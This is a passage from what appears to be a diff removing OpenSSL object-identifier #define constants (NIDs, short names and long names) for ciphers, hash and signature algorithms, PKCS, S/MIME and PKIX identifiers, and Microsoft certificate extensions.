LN_biometricInfo "Biometric Info" -#define SN_biometricInfo "biometricInfo" -#define NID_info_access 177 -#define LN_info_access "Authority Information Access" -#define SN_info_access "authorityInfoAccess" -#define NID_id_mod_cmp2021_02 1253 -#define SN_id_mod_cmp2021_02 "id-mod-cmp2021-02" -#define NID_id_mod_cmp2021_88 1252 -#define SN_id_mod_cmp2021_88 "id-mod-cmp2021-88" -#define NID_id_mod_cmp2000_02 1251 -#define SN_id_mod_cmp2000_02 "id-mod-cmp2000-02" -#define NID_id_mod_cmp2000 284 -#define SN_id_mod_cmp2000 "id-mod-cmp2000" -#define NID_id_mod_dvcs 283 -#define SN_id_mod_dvcs "id-mod-dvcs" -#define NID_id_mod_ocsp 282 -#define SN_id_mod_ocsp "id-mod-ocsp" -#define NID_id_mod_timestamp_protocol 281 -#define SN_id_mod_timestamp_protocol "id-mod-timestamp-protocol" -#define NID_id_mod_attribute_cert 280 -#define SN_id_mod_attribute_cert "id-mod-attribute-cert" -#define NID_id_mod_qualified_cert_93 279 -#define SN_id_mod_qualified_cert_93 "id-mod-qualified-cert-93" -#define NID_id_mod_qualified_cert_88 278 -#define SN_id_mod_qualified_cert_88 "id-mod-qualified-cert-88" -#define NID_id_mod_cmp 277 -#define SN_id_mod_cmp "id-mod-cmp" -#define NID_id_mod_kea_profile_93 276 -#define SN_id_mod_kea_profile_93 "id-mod-kea-profile-93" -#define NID_id_mod_kea_profile_88 275 -#define SN_id_mod_kea_profile_88 "id-mod-kea-profile-88" -#define NID_id_mod_cmc 274 -#define SN_id_mod_cmc "id-mod-cmc" -#define NID_id_mod_crmf 273 -#define SN_id_mod_crmf "id-mod-crmf" -#define NID_id_pkix1_implicit_93 272 -#define SN_id_pkix1_implicit_93 "id-pkix1-implicit-93" -#define NID_id_pkix1_explicit_93 271 -#define SN_id_pkix1_explicit_93 "id-pkix1-explicit-93" -#define NID_id_pkix1_implicit_88 270 -#define SN_id_pkix1_implicit_88 "id-pkix1-implicit-88" -#define NID_id_pkix1_explicit_88 269 -#define SN_id_pkix1_explicit_88 "id-pkix1-explicit-88" -#define NID_id_ad 176 -#define SN_id_ad "id-ad" -#define NID_id_ppl 662 -#define SN_id_ppl "id-ppl" -#define NID_id_cct 268 -#define SN_id_cct "id-cct" -#define NID_id_cp 1238 -#define SN_id_cp "id-cp" -#define NID_id_qcs 267 -#define SN_id_qcs "id-qcs" -#define NID_id_aca 266 -#define SN_id_aca "id-aca" -#define NID_id_pda 265 -#define SN_id_pda "id-pda" -#define NID_id_on 264 -#define SN_id_on "id-on" -#define NID_id_cmc 263 -#define SN_id_cmc "id-cmc" -#define NID_id_alg 262 -#define SN_id_alg "id-alg" -#define NID_id_pkip 261 -#define SN_id_pkip "id-pkip" -#define NID_id_it 260 -#define SN_id_it "id-it" -#define NID_id_kp 128 -#define SN_id_kp "id-kp" -#define NID_id_qt 259 -#define SN_id_qt "id-qt" -#define NID_id_pe 175 -#define SN_id_pe "id-pe" -#define NID_id_pkix_mod 258 -#define SN_id_pkix_mod "id-pkix-mod" -#define NID_id_pkix 127 -#define SN_id_pkix "PKIX" -#define NID_bf_ofb64 94 -#define LN_bf_ofb64 "bf-ofb" -#define SN_bf_ofb64 "BF-OFB" -#define NID_bf_cfb64 93 -#define LN_bf_cfb64 "bf-cfb" -#define SN_bf_cfb64 "BF-CFB" -#define NID_bf_ecb 92 -#define LN_bf_ecb "bf-ecb" -#define SN_bf_ecb "BF-ECB" -#define NID_bf_cbc 91 -#define LN_bf_cbc "bf-cbc" -#define SN_bf_cbc "BF-CBC" -#define NID_idea_ofb64 46 -#define LN_idea_ofb64 "idea-ofb" -#define SN_idea_ofb64 "IDEA-OFB" -#define NID_idea_cfb64 35 -#define LN_idea_cfb64 "idea-cfb" -#define SN_idea_cfb64 "IDEA-CFB" -#define NID_idea_ecb 36 -#define LN_idea_ecb "idea-ecb" -#define SN_idea_ecb "IDEA-ECB" -#define NID_idea_cbc 34 -#define LN_idea_cbc "idea-cbc" -#define SN_idea_cbc "IDEA-CBC" -#define NID_ms_app_policies 1294 -#define LN_ms_app_policies "Microsoft Application Policies Extension" -#define SN_ms_app_policies "ms-app-policies" -#define NID_ms_cert_templ 1293 -#define LN_ms_cert_templ "Microsoft certificate template" -#define SN_ms_cert_templ "ms-cert-templ" -#define NID_ms_ntds_obj_sid 1291 -#define LN_ms_ntds_obj_sid "Microsoft NTDS AD objectSid" -#define SN_ms_ntds_obj_sid "ms-ntds-obj-sid" -#define NID_ms_ntds_sec_ext 1292 -#define LN_ms_ntds_sec_ext "Microsoft NTDS CA Extension" -#define SN_ms_ntds_sec_ext "ms-ntds-sec-ext" -#define NID_ms_upn 649 -#define LN_ms_upn "Microsoft User Principal Name" -#define SN_ms_upn "msUPN" -#define NID_ms_smartcard_login 648 -#define LN_ms_smartcard_login "Microsoft Smartcard Login" -#define SN_ms_smartcard_login "msSmartcardLogin" -#define NID_ms_efs 138 -#define LN_ms_efs "Microsoft Encrypted File System" -#define SN_ms_efs "msEFS" -#define NID_ms_sgc 137 -#define LN_ms_sgc "Microsoft Server Gated Crypto" -#define SN_ms_sgc "msSGC" -#define NID_ms_ctl_sign 136 -#define LN_ms_ctl_sign "Microsoft Trust List Signing" -#define SN_ms_ctl_sign "msCTLSign" -#define NID_ms_code_com 135 -#define LN_ms_code_com "Microsoft Commercial Code Signing" -#define SN_ms_code_com "msCodeCom" -#define NID_ms_code_ind 134 -#define LN_ms_code_ind "Microsoft Individual Code Signing" -#define SN_ms_code_ind "msCodeInd" -#define NID_ms_ext_req 171 -#define LN_ms_ext_req "Microsoft Extension Request" -#define SN_ms_ext_req "msExtReq" -#define NID_rc5_ofb64 123 -#define LN_rc5_ofb64 "rc5-ofb" -#define SN_rc5_ofb64 "RC5-OFB" -#define NID_rc5_cfb64 122 -#define LN_rc5_cfb64 "rc5-cfb" -#define SN_rc5_cfb64 "RC5-CFB" -#define NID_rc5_ecb 121 -#define LN_rc5_ecb "rc5-ecb" -#define SN_rc5_ecb "RC5-ECB" -#define NID_rc5_cbc 120 -#define LN_rc5_cbc "rc5-cbc" -#define SN_rc5_cbc "RC5-CBC" -#define NID_des_ede3_cbc 44 -#define LN_des_ede3_cbc "des-ede3-cbc" -#define SN_des_ede3_cbc "DES-EDE3-CBC" -#define NID_rc4_40 97 -#define LN_rc4_40 "rc4-40" -#define SN_rc4_40 "RC4-40" -#define NID_rc4 5 -#define LN_rc4 "rc4" -#define SN_rc4 "RC4" -#define NID_rc2_64_cbc 166 -#define LN_rc2_64_cbc "rc2-64-cbc" -#define SN_rc2_64_cbc "RC2-64-CBC" -#define NID_rc2_40_cbc 98 -#define LN_rc2_40_cbc "rc2-40-cbc" -#define SN_rc2_40_cbc "RC2-40-CBC" -#define NID_rc2_ofb64 40 -#define LN_rc2_ofb64 "rc2-ofb" -#define SN_rc2_ofb64 "RC2-OFB" -#define NID_rc2_cfb64 39 -#define LN_rc2_cfb64 "rc2-cfb" -#define SN_rc2_cfb64 "RC2-CFB" -#define NID_rc2_ecb 38 -#define LN_rc2_ecb "rc2-ecb" -#define SN_rc2_ecb "RC2-ECB" -#define NID_rc2_cbc 37 -#define LN_rc2_cbc "rc2-cbc" -#define SN_rc2_cbc "RC2-CBC" -#define NID_hmacWithSHA512_256 1194 -#define LN_hmacWithSHA512_256 "hmacWithSHA512-256" -#define NID_hmacWithSHA512_224 1193 -#define LN_hmacWithSHA512_224 "hmacWithSHA512-224" -#define NID_hmacWithSHA512 801 -#define LN_hmacWithSHA512 "hmacWithSHA512" -#define NID_hmacWithSHA384 800 -#define LN_hmacWithSHA384 "hmacWithSHA384" -#define NID_hmacWithSHA256 799 -#define LN_hmacWithSHA256 "hmacWithSHA256" -#define NID_hmacWithSHA224 798 -#define LN_hmacWithSHA224 "hmacWithSHA224" -#define NID_hmacWithSM3 1281 -#define LN_hmacWithSM3 "hmacWithSM3" -#define NID_SM2_with_SM3 1204 -#define LN_SM2_with_SM3 "SM2-with-SM3" -#define SN_SM2_with_SM3 "SM2-SM3" -#define NID_sm3WithRSAEncryption 1144 -#define LN_sm3WithRSAEncryption "sm3WithRSAEncryption" -#define SN_sm3WithRSAEncryption "RSA-SM3" -#define NID_sm3 1143 -#define LN_sm3 "sm3" -#define SN_sm3 "SM3" -#define NID_sm2 1172 -#define LN_sm2 "sm2" -#define SN_sm2 "SM2" -#define NID_hmacWithSHA1 163 -#define LN_hmacWithSHA1 "hmacWithSHA1" -#define NID_hmacWithMD5 797 -#define LN_hmacWithMD5 "hmacWithMD5" -#define NID_md5_sha1 114 -#define LN_md5_sha1 "md5-sha1" -#define SN_md5_sha1 "MD5-SHA1" -#define NID_md5 4 -#define LN_md5 "md5" -#define SN_md5 "MD5" -#define NID_md4 257 -#define LN_md4 "md4" -#define SN_md4 "MD4" -#define NID_md2 3 -#define LN_md2 "md2" -#define SN_md2 "MD2" -#define NID_safeContentsBag 155 -#define LN_safeContentsBag "safeContentsBag" -#define NID_secretBag 154 -#define LN_secretBag "secretBag" -#define NID_crlBag 153 -#define LN_crlBag "crlBag" -#define NID_certBag 152 -#define LN_certBag "certBag" -#define NID_pkcs8ShroudedKeyBag 151 -#define LN_pkcs8ShroudedKeyBag "pkcs8ShroudedKeyBag" -#define NID_keyBag 150 -#define LN_keyBag "keyBag" -#define NID_pbe_WithSHA1And40BitRC2_CBC 149 -#define LN_pbe_WithSHA1And40BitRC2_CBC "pbeWithSHA1And40BitRC2-CBC" -#define SN_pbe_WithSHA1And40BitRC2_CBC "PBE-SHA1-RC2-40" -#define NID_pbe_WithSHA1And128BitRC2_CBC 148 -#define LN_pbe_WithSHA1And128BitRC2_CBC "pbeWithSHA1And128BitRC2-CBC" -#define SN_pbe_WithSHA1And128BitRC2_CBC "PBE-SHA1-RC2-128" -#define NID_pbe_WithSHA1And2_Key_TripleDES_CBC 147 -#define LN_pbe_WithSHA1And2_Key_TripleDES_CBC "pbeWithSHA1And2-KeyTripleDES-CBC" -#define SN_pbe_WithSHA1And2_Key_TripleDES_CBC "PBE-SHA1-2DES" -#define NID_pbe_WithSHA1And3_Key_TripleDES_CBC 146 -#define LN_pbe_WithSHA1And3_Key_TripleDES_CBC "pbeWithSHA1And3-KeyTripleDES-CBC" -#define SN_pbe_WithSHA1And3_Key_TripleDES_CBC "PBE-SHA1-3DES" -#define NID_pbe_WithSHA1And40BitRC4 145 -#define LN_pbe_WithSHA1And40BitRC4 "pbeWithSHA1And40BitRC4" -#define SN_pbe_WithSHA1And40BitRC4 "PBE-SHA1-RC4-40" -#define NID_pbe_WithSHA1And128BitRC4 144 -#define LN_pbe_WithSHA1And128BitRC4 "pbeWithSHA1And128BitRC4" -#define SN_pbe_WithSHA1And128BitRC4 "PBE-SHA1-RC4-128" -#define NID_id_aa_CMSAlgorithmProtection 1263 -#define SN_id_aa_CMSAlgorithmProtection "id-aa-CMSAlgorithmProtection" -#define NID_x509Crl 160 -#define LN_x509Crl "x509Crl" -#define NID_sdsiCertificate 159 -#define LN_sdsiCertificate "sdsiCertificate" -#define NID_x509Certificate 158 -#define LN_x509Certificate "x509Certificate" -#define NID_LocalKeySet 856 -#define LN_LocalKeySet "Microsoft Local Key set" -#define SN_LocalKeySet "LocalKeySet" -#define NID_ms_csp_name 417 -#define LN_ms_csp_name "Microsoft CSP Name" -#define SN_ms_csp_name "CSPName" -#define NID_localKeyID 157 -#define LN_localKeyID "localKeyID" -#define NID_friendlyName 156 -#define LN_friendlyName "friendlyName" -#define NID_id_smime_cti_ets_proofOfCreation 256 -#define SN_id_smime_cti_ets_proofOfCreation "id-smime-cti-ets-proofOfCreation" -#define NID_id_smime_cti_ets_proofOfApproval 255 -#define SN_id_smime_cti_ets_proofOfApproval "id-smime-cti-ets-proofOfApproval" -#define NID_id_smime_cti_ets_proofOfSender 254 -#define SN_id_smime_cti_ets_proofOfSender "id-smime-cti-ets-proofOfSender" -#define NID_id_smime_cti_ets_proofOfDelivery 253 -#define SN_id_smime_cti_ets_proofOfDelivery "id-smime-cti-ets-proofOfDelivery" -#define NID_id_smime_cti_ets_proofOfReceipt 252 -#define SN_id_smime_cti_ets_proofOfReceipt "id-smime-cti-ets-proofOfReceipt" -#define NID_id_smime_cti_ets_proofOfOrigin 251 -#define SN_id_smime_cti_ets_proofOfOrigin "id-smime-cti-ets-proofOfOrigin" -#define NID_id_smime_spq_ets_sqt_unotice 250 -#define SN_id_smime_spq_ets_sqt_unotice "id-smime-spq-ets-sqt-unotice" -#define NID_id_smime_spq_ets_sqt_uri 249 -#define SN_id_smime_spq_ets_sqt_uri "id-smime-spq-ets-sqt-uri" -#define NID_id_smime_cd_ldap 248 -#define SN_id_smime_cd_ldap "id-smime-cd-ldap" -#define NID_id_alg_PWRI_KEK 893 -#define SN_id_alg_PWRI_KEK "id-alg-PWRI-KEK" -#define NID_id_smime_alg_CMSRC2wrap 247 -#define SN_id_smime_alg_CMSRC2wrap "id-smime-alg-CMSRC2wrap" -#define NID_id_smime_alg_CMS3DESwrap 246 -#define SN_id_smime_alg_CMS3DESwrap "id-smime-alg-CMS3DESwrap" -#define NID_id_smime_alg_ESDH 245 -#define SN_id_smime_alg_ESDH "id-smime-alg-ESDH" -#define NID_id_smime_alg_RC2wrap 244 -#define SN_id_smime_alg_RC2wrap "id-smime-alg-RC2wrap" -#define NID_id_smime_alg_3DESwrap 243 -#define SN_id_smime_alg_3DESwrap "id-smime-alg-3DESwrap" -#define NID_id_smime_alg_ESDHwithRC2 242 -#define SN_id_smime_alg_ESDHwithRC2 "id-smime-alg-ESDHwithRC2" -#define NID_id_smime_alg_ESDHwith3DES 241 -#define SN_id_smime_alg_ESDHwith3DES "id-smime-alg-ESDHwith3DES" -#define NID_id_aa_ets_archiveTimestampV2 1280 -#define SN_id_aa_ets_archiveTimestampV2 "id-aa-ets-archiveTimestampV2" -#define NID_id_smime_aa_signingCertificateV2 1086 -#define SN_id_smime_aa_signingCertificateV2 "id-smime-aa-signingCertificateV2" -#define NID_id_aa_ets_attrRevocationRefs 1262 -#define SN_id_aa_ets_attrRevocationRefs "id-aa-ets-attrRevocationRefs" -#define NID_id_aa_ets_attrCertificateRefs 1261 -#define SN_id_aa_ets_attrCertificateRefs "id-aa-ets-attrCertificateRefs" -#define NID_id_smime_aa_dvcs_dvc 240 -#define SN_id_smime_aa_dvcs_dvc "id-smime-aa-dvcs-dvc" -#define NID_id_smime_aa_signatureType 239 -#define SN_id_smime_aa_signatureType "id-smime-aa-signatureType" -#define NID_id_smime_aa_ets_archiveTimeStamp 238 -#define SN_id_smime_aa_ets_archiveTimeStamp "id-smime-aa-ets-archiveTimeStamp" -#define NID_id_smime_aa_ets_certCRLTimestamp 237 -#define SN_id_smime_aa_ets_certCRLTimestamp "id-smime-aa-ets-certCRLTimestamp" -#define NID_id_smime_aa_ets_escTimeStamp 236 -#define SN_id_smime_aa_ets_escTimeStamp "id-smime-aa-ets-escTimeStamp" -#define NID_id_smime_aa_ets_revocationValues 235 -#define SN_id_smime_aa_ets_revocationValues "id-smime-aa-ets-revocationValues" -#define NID_id_smime_aa_ets_certValues 234 -#define SN_id_smime_aa_ets_certValues "id-smime-aa-ets-certValues" -#define NID_id_smime_aa_ets_RevocationRefs 233 -#define SN_id_smime_aa_ets_RevocationRefs "id-smime-aa-ets-RevocationRefs" -#define NID_id_smime_aa_ets_CertificateRefs 232 -#define SN_id_smime_aa_ets_CertificateRefs "id-smime-aa-ets-CertificateRefs" -#define NID_id_smime_aa_ets_contentTimestamp 231 -#define SN_id_smime_aa_ets_contentTimestamp "id-smime-aa-ets-contentTimestamp" -#define NID_id_smime_aa_ets_otherSigCert 230 -#define SN_id_smime_aa_ets_otherSigCert "id-smime-aa-ets-otherSigCert" -#define NID_id_smime_aa_ets_signerAttr 229 -#define SN_id_smime_aa_ets_signerAttr "id-smime-aa-ets-signerAttr" -#define NID_id_smime_aa_ets_signerLocation 228 -#define SN_id_smime_aa_ets_signerLocation "id-smime-aa-ets-signerLocation" -#define NID_id_smime_aa_ets_commitmentType 227 -#define SN_id_smime_aa_ets_commitmentType "id-smime-aa-ets-commitmentType" -#define NID_id_smime_aa_ets_sigPolicyId 226 -#define SN_id_smime_aa_ets_sigPolicyId "id-smime-aa-ets-sigPolicyId" -#define NID_id_smime_aa_timeStampToken 225 -#define SN_id_smime_aa_timeStampToken "id-smime-aa-timeStampToken" -#define NID_id_smime_aa_smimeEncryptCerts 224 -#define SN_id_smime_aa_smimeEncryptCerts "id-smime-aa-smimeEncryptCerts" -#define NID_id_smime_aa_signingCertificate 223 -#define SN_id_smime_aa_signingCertificate "id-smime-aa-signingCertificate" -#define NID_id_smime_aa_encrypKeyPref 222 -#define SN_id_smime_aa_encrypKeyPref "id-smime-aa-encrypKeyPref" -#define NID_id_smime_aa_contentReference 221 -#define SN_id_smime_aa_contentReference "id-smime-aa-contentReference" -#define NID_id_smime_aa_equivalentLabels 220 -#define SN_id_smime_aa_equivalentLabels "id-smime-aa-equivalentLabels" -#define NID_id_smime_aa_macValue 219 -#define SN_id_smime_aa_macValue "id-smime-aa-macValue" -#define NID_id_smime_aa_contentIdentifier 218 -#define SN_id_smime_aa_contentIdentifier "id-smime-aa-contentIdentifier" -#define NID_id_smime_aa_encapContentType 217 -#define SN_id_smime_aa_encapContentType "id-smime-aa-encapContentType" -#define NID_id_smime_aa_msgSigDigest 216 -#define SN_id_smime_aa_msgSigDigest "id-smime-aa-msgSigDigest" -#define NID_id_smime_aa_contentHint 215 -#define SN_id_smime_aa_contentHint "id-smime-aa-contentHint" -#define NID_id_smime_aa_mlExpandHistory 214 -#define SN_id_smime_aa_mlExpandHistory "id-smime-aa-mlExpandHistory" -#define NID_id_smime_aa_securityLabel 213 -#define SN_id_smime_aa_securityLabel "id-smime-aa-securityLabel" -#define NID_id_smime_aa_receiptRequest 212 -#define SN_id_smime_aa_receiptRequest "id-smime-aa-receiptRequest" -#define NID_id_ct_rpkiSignedPrefixList 1320 -#define SN_id_ct_rpkiSignedPrefixList "id-ct-rpkiSignedPrefixList" -#define NID_id_ct_signedTAL 1284 -#define SN_id_ct_signedTAL "id-ct-signedTAL" -#define NID_id_ct_ASPA 1250 -#define SN_id_ct_ASPA "id-ct-ASPA" -#define NID_id_ct_signedChecklist 1247 -#define SN_id_ct_signedChecklist "id-ct-signedChecklist" -#define NID_id_ct_geofeedCSVwithCRLF 1246 -#define SN_id_ct_geofeedCSVwithCRLF "id-ct-geofeedCSVwithCRLF" -#define NID_id_ct_resourceTaggedAttest 1237 -#define SN_id_ct_resourceTaggedAttest "id-ct-resourceTaggedAttest" -#define NID_id_ct_rpkiGhostbusters 1236 -#define SN_id_ct_rpkiGhostbusters "id-ct-rpkiGhostbusters" -#define NID_id_ct_xml 1060 -#define SN_id_ct_xml "id-ct-xml" -#define NID_id_ct_asciiTextWithCRLF 787 -#define SN_id_ct_asciiTextWithCRLF "id-ct-asciiTextWithCRLF" -#define NID_id_ct_rpkiManifest 1235 -#define SN_id_ct_rpkiManifest "id-ct-rpkiManifest" -#define NID_id_ct_routeOriginAuthz 1234 -#define SN_id_ct_routeOriginAuthz "id-ct-routeOriginAuthz" -#define NID_id_smime_ct_authEnvelopedData 1059 -#define SN_id_smime_ct_authEnvelopedData "id-smime-ct-authEnvelopedData" -#define NID_id_smime_ct_contentCollection 1058 -#define SN_id_smime_ct_contentCollection "id-smime-ct-contentCollection" -#define NID_id_smime_ct_compressedData 786 -#define SN_id_smime_ct_compressedData "id-smime-ct-compressedData" -#define NID_id_smime_ct_DVCSResponseData 211 -#define SN_id_smime_ct_DVCSResponseData "id-smime-ct-DVCSResponseData" -#define NID_id_smime_ct_DVCSRequestData 210 -#define SN_id_smime_ct_DVCSRequestData "id-smime-ct-DVCSRequestData" -#define NID_id_smime_ct_contentInfo 209 -#define SN_id_smime_ct_contentInfo "id-smime-ct-contentInfo" -#define NID_id_smime_ct_TDTInfo 208 -#define SN_id_smime_ct_TDTInfo "id-smime-ct-TDTInfo" -#define NID_id_smime_ct_TSTInfo 207 -#define SN_id_smime_ct_TSTInfo "id-smime-ct-TSTInfo" -#define NID_id_smime_ct_publishCert 206 -#define SN_id_smime_ct_publishCert "id-smime-ct-publishCert" -#define NID_id_smime_ct_authData 205 -#define SN_id_smime_ct_authData "id-smime-ct-authData" -#define NID_id_smime_ct_receipt 204 -#define SN_id_smime_ct_receipt "id-smime-ct-receipt" -#define NID_id_smime_mod_ets_eSigPolicy_97 203 -#define SN_id_smime_mod_ets_eSigPolicy_97 "id-smime-mod-ets-eSigPolicy-97" -#define NID_id_smime_mod_ets_eSigPolicy_88 202 -#define SN_id_smime_mod_ets_eSigPolicy_88 "id-smime-mod-ets-eSigPolicy-88" -#define NID_id_smime_mod_ets_eSignature_97 201 -#define SN_id_smime_mod_ets_eSignature_97 "id-smime-mod-ets-eSignature-97" -#define NID_id_smime_mod_ets_eSignature_88 200 -#define SN_id_smime_mod_ets_eSignature_88 "id-smime-mod-ets-eSignature-88" -#define NID_id_smime_mod_msg_v3 199 -#define SN_id_smime_mod_msg_v3 "id-smime-mod-msg-v3" -#define NID_id_smime_mod_oid 198 -#define SN_id_smime_mod_oid "id-smime-mod-oid" -#define NID_id_smime_mod_ess 197 -#define SN_id_smime_mod_ess "id-smime-mod-ess" -#define NID_id_smime_mod_cms 196 -#define SN_id_smime_mod_cms "id-smime-mod-cms" -#define NID_id_smime_cti 195 -#define SN_id_smime_cti "id-smime-cti" -#define NID_id_smime_spq 194 -#define SN_id_smime_spq "id-smime-spq" -#define NID_id_smime_cd 193 -#define SN_id_smime_cd "id-smime-cd" -#define NID_id_smime_alg 192 -#define SN_id_smime_alg "id-smime-alg" -#define NID_id_smime_aa 191 -#define SN_id_smime_aa "id-smime-aa" -#define NID_id_smime_ct 190 -#define SN_id_smime_ct "id-smime-ct" -#define NID_id_smime_mod 189 -#define SN_id_smime_mod "id-smime-mod" -#define NID_SMIME 188 -#define LN_SMIME "S/MIME" -#define SN_SMIME "SMIME" -#define NID_SMIMECapabilities 167 -#define LN_SMIMECapabilities "S/MIME Capabilities" -#define SN_SMIMECapabilities "SMIME-CAPS" -#define NID_ext_req 172 -#define LN_ext_req "Extension Request" -#define SN_ext_req "extReq" -#define NID_pkcs9_extCertAttributes 56 -#define LN_pkcs9_extCertAttributes "extendedCertificateAttributes" -#define NID_pkcs9_unstructuredAddress 55 -#define LN_pkcs9_unstructuredAddress "unstructuredAddress" -#define NID_pkcs9_challengePassword 54 -#define LN_pkcs9_challengePassword "challengePassword" -#define NID_pkcs9_countersignature 53 -#define LN_pkcs9_countersignature "countersignature" -#define NID_pkcs9_signingTime 52 -#define LN_pkcs9_signingTime "signingTime" -#define NID_pkcs9_messageDigest 51 -#define LN_pkcs9_messageDigest "messageDigest" -#define NID_pkcs9_contentType 50 -#define LN_pkcs9_contentType "contentType" -#define NID_pkcs9_unstructuredName 49 -#define LN_pkcs9_unstructuredName "unstructuredName" -#define LN_pkcs9_emailAddress "emailAddress" -#define NID_pkcs9 47 -#define SN_pkcs9 "pkcs9" -#define NID_pkcs7_encrypted 26 -#define LN_pkcs7_encrypted "pkcs7-encryptedData" -#define NID_pkcs7_digest 25 -#define LN_pkcs7_digest "pkcs7-digestData" -#define NID_pkcs7_signedAndEnveloped 24 -#define LN_pkcs7_signedAndEnveloped "pkcs7-signedAndEnvelopedData" -#define NID_pkcs7_enveloped 23 -#define LN_pkcs7_enveloped "pkcs7-envelopedData" -#define LN_pkcs7_signed "pkcs7-signedData" -#define LN_pkcs7_data "pkcs7-data" -#define NID_pkcs7 20 -#define SN_pkcs7 "pkcs7" -#define NID_pbmac1 162 -#define LN_pbmac1 "PBMAC1" -#define NID_pbes2 161 -#define LN_pbes2 "PBES2" -#define NID_id_pbkdf2 69 -#define LN_id_pbkdf2 "PBKDF2" -#define NID_pbeWithSHA1AndRC2_CBC 68 -#define LN_pbeWithSHA1AndRC2_CBC "pbeWithSHA1AndRC2-CBC" -#define SN_pbeWithSHA1AndRC2_CBC "PBE-SHA1-RC2-64" -#define NID_pbeWithSHA1AndDES_CBC 170 -#define LN_pbeWithSHA1AndDES_CBC "pbeWithSHA1AndDES-CBC" -#define SN_pbeWithSHA1AndDES_CBC "PBE-SHA1-DES" -#define NID_pbeWithMD5AndRC2_CBC 169 -#define LN_pbeWithMD5AndRC2_CBC "pbeWithMD5AndRC2-CBC" -#define SN_pbeWithMD5AndRC2_CBC "PBE-MD5-RC2-64" -#define NID_pbeWithMD2AndRC2_CBC 168 -#define LN_pbeWithMD2AndRC2_CBC "pbeWithMD2AndRC2-CBC" -#define SN_pbeWithMD2AndRC2_CBC "PBE-MD2-RC2-64" -#define NID_pbeWithMD5AndDES_CBC 10 -#define LN_pbeWithMD5AndDES_CBC "pbeWithMD5AndDES-CBC" -#define SN_pbeWithMD5AndDES_CBC "PBE-MD5-DES" -#define NID_pbeWithMD2AndDES_CBC 9 -#define LN_pbeWithMD2AndDES_CBC "pbeWithMD2AndDES-CBC" -#define SN_pbeWithMD2AndDES_CBC "PBE-MD2-DES" -#define NID_pkcs5 187 -#define SN_pkcs5 "pkcs5" -#define NID_dhKeyAgreement 28 -#define LN_dhKeyAgreement "dhKeyAgreement" -#define NID_pkcs3 27 -#define SN_pkcs3 "pkcs3" -#define NID_sha512_256WithRSAEncryption 1146 -#define LN_sha512_256WithRSAEncryption "sha512-256WithRSAEncryption" -#define SN_sha512_256WithRSAEncryption "RSA-SHA512/256" -#define NID_sha512_224WithRSAEncryption 1145 -#define LN_sha512_224WithRSAEncryption "sha512-224WithRSAEncryption" -#define SN_sha512_224WithRSAEncryption "RSA-SHA512/224" -#define NID_sha224WithRSAEncryption 671 -#define LN_sha224WithRSAEncryption "sha224WithRSAEncryption" -#define SN_sha224WithRSAEncryption "RSA-SHA224" -#define NID_sha512WithRSAEncryption 670 -#define LN_sha512WithRSAEncryption "sha512WithRSAEncryption" -#define SN_sha512WithRSAEncryption "RSA-SHA512" -#define NID_sha384WithRSAEncryption 669 -#define LN_sha384WithRSAEncryption "sha384WithRSAEncryption" -#define SN_sha384WithRSAEncryption "RSA-SHA384" -#define NID_sha256WithRSAEncryption 668 -#define LN_sha256WithRSAEncryption "sha256WithRSAEncryption" -#define SN_sha256WithRSAEncryption "RSA-SHA256" -#define NID_rsassaPss 912 -#define LN_rsassaPss "rsassaPss" -#define SN_rsassaPss "RSASSA-PSS" -#define NID_pSpecified 935 -#define LN_pSpecified "pSpecified" -#define SN_pSpecified "PSPECIFIED" -#define NID_mgf1 911 -#define LN_mgf1 "mgf1" -#define SN_mgf1 "MGF1" -#define NID_rsaesOaep 919 -#define LN_rsaesOaep "rsaesOaep" -#define SN_rsaesOaep "RSAES-OAEP" -#define NID_sha1WithRSAEncryption 65 -#define LN_sha1WithRSAEncryption "sha1WithRSAEncryption" -#define SN_sha1WithRSAEncryption "RSA-SHA1" -#define NID_md5WithRSAEncryption 8 -#define LN_md5WithRSAEncryption "md5WithRSAEncryption" -#define SN_md5WithRSAEncryption "RSA-MD5" -#define NID_md4WithRSAEncryption 396 -#define LN_md4WithRSAEncryption "md4WithRSAEncryption" -#define SN_md4WithRSAEncryption "RSA-MD4" -#define NID_md2WithRSAEncryption 7 -#define LN_md2WithRSAEncryption "md2WithRSAEncryption" -#define SN_md2WithRSAEncryption "RSA-MD2" -#define NID_rsaEncryption 6 -#define LN_rsaEncryption "rsaEncryption" -#define NID_pkcs1 186 -#define SN_pkcs1 "pkcs1" -#define NID_pkcs 2 -#define LN_pkcs "RSA Data Security, Inc. PKCS" -#define SN_pkcs "pkcs" -#define NID_rsadsi 1 -#define LN_rsadsi "RSA Data Security, Inc." -#define SN_rsadsi "rsadsi" -#define NID_id_DHBasedMac 783 -#define LN_id_DHBasedMac "Diffie-Hellman based MAC" -#define SN_id_DHBasedMac "id-DHBasedMac" -#define NID_id_PasswordBasedMAC 782 -#define LN_id_PasswordBasedMAC "password based MAC" -#define SN_id_PasswordBasedMAC "id-PasswordBasedMAC" -#define NID_pbeWithMD5AndCast5_CBC 112 -#define LN_pbeWithMD5AndCast5_CBC "pbeWithMD5AndCast5CBC" -#define NID_cast5_ofb64 111 -#define LN_cast5_ofb64 "cast5-ofb" -#define SN_cast5_ofb64 "CAST5-OFB" -#define NID_cast5_cfb64 110 -#define LN_cast5_cfb64 "cast5-cfb" -#define SN_cast5_cfb64 "CAST5-CFB" -#define NID_cast5_ecb 109 -#define LN_cast5_ecb "cast5-ecb" -#define SN_cast5_ecb "CAST5-ECB" -#define NID_cast5_cbc 108 -#define LN_cast5_cbc "cast5-cbc" -#define SN_cast5_cbc "CAST5-CBC" -#define NID_wap_wsg_idm_ecid_wtls12 745 -#define SN_wap_wsg_idm_ecid_wtls12 "wap-wsg-idm-ecid-wtls12" -#define NID_wap_wsg_idm_ecid_wtls11 744 -#define SN_wap_wsg_idm_ecid_wtls11 "wap-wsg-idm-ecid-wtls11" -#define NID_wap_wsg_idm_ecid_wtls10 743 -#define SN_wap_wsg_idm_ecid_wtls10 "wap-wsg-idm-ecid-wtls10" -#define NID_wap_wsg_idm_ecid_wtls9 742 -#define SN_wap_wsg_idm_ecid_wtls9 "wap-wsg-idm-ecid-wtls9" -#define NID_wap_wsg_idm_ecid_wtls8 741 -#define SN_wap_wsg_idm_ecid_wtls8 "wap-wsg-idm-ecid-wtls8" -#define NID_wap_wsg_idm_ecid_wtls7 740 -#define SN_wap_wsg_idm_ecid_wtls7 "wap-wsg-idm-ecid-wtls7" -#define NID_wap_wsg_idm_ecid_wtls6 739 -#define SN_wap_wsg_idm_ecid_wtls6 "wap-wsg-idm-ecid-wtls6" -#define NID_wap_wsg_idm_ecid_wtls5 738 -#define 